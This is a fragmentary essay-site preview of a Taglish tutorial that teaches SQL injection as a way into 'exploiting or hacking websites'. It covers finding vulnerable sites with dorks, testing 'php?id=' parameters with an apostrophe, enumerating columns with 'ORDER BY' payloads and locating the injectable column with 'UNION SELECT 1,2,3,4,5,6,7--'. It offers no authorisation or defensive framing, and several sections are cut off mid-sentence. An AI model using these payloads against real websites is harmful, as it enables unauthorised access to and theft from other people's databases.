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Sql Injection Essay

1392 words - 6 pages

-= What is SQLi? =-

SQL Injection (aka Sql Injection or Structured Query Language Injection)

Is the first step in the entry to exploiting or hacking websites. 

It is easily done and it is a great starting off point. 

SQLi is just basically injecting queries into a database or using queries to get authorization bypass as an admin.


Bago tayo mag-simula na iexploit ang website ...view middle of the document...

Dapat alam natin exactly what we are injecting into ...view middle of the document...

Ito ang cover ng Part One para kolektain ang lahat ng inpormasyon sa site ...view middle of the document...


Paghahanap ng mga vulnerable site ...view middle of the document...

Kailangan gumamit ng "dorks"... ...view middle of the document...


Paano itest ang site kung vulnerable siya sa SQL Injection?

Simple lang maglalagay lang tayo ng appostrophe [ ' ]
sa may hulian ng numero... [ php?id=8' ]

Pwede rin ilagay ang appostrophe [ ' ] between sa equal sign [ = ] at numero... [ php?id='8 ]


After niyo malagyan ng appostrophe then ENTER...

Kapag may lumabas na Error, vulnerable ang site sa SQLi...


Para malaman kung ilan ang number ng columns...

Magkakaroon tayo ng Trial and Error dito...

Ito ang command na gagamitin "ORDER BY"...

NOTE: SQL walang pakialam kung small or capital letters ang gagamitin...

Ganito siya:

------------------------------------------------- ORDER BY 1-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 2-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 3-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 4-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 5-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 6-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 7-- [ NO ERROR Or Page Load Normal ]
------------------------------------------------- ORDER BY 8-- [ ERROR! ]
Ibigsahin niyan mayroon pitong [ 7 ] columns...



Alam natin na mayroon tayo na pitong [ 7 ] columns...

So ngayon hahanapin natin kung alin diyan sa pito yung vulnerable column...

Gagawin natin gagamit tayo ng "UNION SELECT" queries...

Syempre huwag kalimutan yung double null [ -- ] sa hulian ng string....


Ganito siya:

------------------------------------------------- UNION SELECT 1,2,3,4,5,6,7--

After niyo lagyan ng query may mapapansin kayo na numero...

Yung TWO [ 2 ] ang vulnerable column niya...


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